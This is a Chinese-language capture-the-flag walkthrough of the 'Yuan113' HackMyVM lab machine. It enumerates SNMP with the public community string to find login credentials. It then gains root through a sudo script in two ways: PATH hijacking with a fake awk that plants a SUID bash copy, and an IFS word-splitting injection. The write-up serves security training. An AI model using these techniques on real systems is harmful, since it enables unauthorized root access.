[HMV] Yuan113 端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 nmap -sV -sC -v -Pn 192.168.20.123 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Mazesec welcome u MAC Address: 08:00:27:39:FF:AD (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80端口服务探测 只有一个静态的index.html页面,源代码中也没有提示
目录爆破下来也没有结果
UDP端口扫描 只能进一步扫描udp端口情况
1 2 3 4 5 6 7 8 nmap -sU 192.168.20.123 PORT STATE SERVICE 68/udp open|filtered dhcpc 161/udp open snmp MAC Address: 08:00:27:39:FF:AD (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1009.10 second
161端口snmp服务利用 snmp是用于监控和管理IP网络设备的udp协议
一般可以通过社区字符串(通常就是public)进行只读操作
snmpbulkwalk -c public -v2c 192.168.20.123 > /tmp/test.txt 这里使用命令读取到文件中
然后搜索关键字password 找到凭证进行登录
权限提升 路径劫持 通过sudo -l 发现/opt/113.sh可以sudo执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # !/bin/bash sandbox=$(mktemp -d) cd $sandbox# 必须传递三个参数 if [ "$#" -ne 3 ];then exit fi# 第三个参数要是mazesec if [ "$3" != "mazesec" ] then echo "\$3 must be mazesec" exit else /bin/cp /usr/bin/mazesec $sandbox exec_="$sandbox/mazesec" fi if [ "$1" = "exec_" ];then exit fi# 之后传递参数1=参数2,就是可以设置环境变量 declare -- "$1"="$2"$ exec_
脚本逻辑是创建一个临时目录,然后把/usr/bin/mazesec复制进临时目录,然后执行
1 2 3 4 # !/bin/bash flag=$(echo $RANDOM$RANDOM$RAMDOM$RANDOM | md5sum | awk '{print $1}') echo "flag{fakeroot-$flag}"
这里就看到awk和md5sum都是相对路径不是绝地路径,加上之前我们可以设置路径来实现路径劫持
在tmp目录下创建awk文件,写这些命令,记得添加x执行的权限
1 2 3 4 welcome@113:/tmp$ cat awk # !/bin/bash /usr/bin/cp /bin/bash /tmp/root_bash /bin/chmod +s /tmp/root_bash
IFS 这里的$sandbox没有加双引号,直接拼接到mazesec上,就会收到词分割的影响
IFS 的默认值是空格、制表符和换行符。如果我们将 IFS 设置为 . (点号),那么路径 /tmp/tmp.XXXXXX/mazesec就会被拆分成两部分:
/tmp/tmp可以被当作命令执行
后面的作为参数
只需要创建一个脚本tmp,写入/bin/bash就可以,直接拿到root
1 2 3 4 5 6 welcome@113:/tmp$ cat tmp /bin/bash welcome@113:/tmp$ sudo /opt/113.sh IFS . mazesec root@113:/tmp/tmp.w06D1K7c51# id uid=0(root) gid=0(root) groups=0(root) root@113:/tmp/tmp.w06D1K7c51#
总结
权限提升: 路径劫持, IFS
信息收集: snmp枚举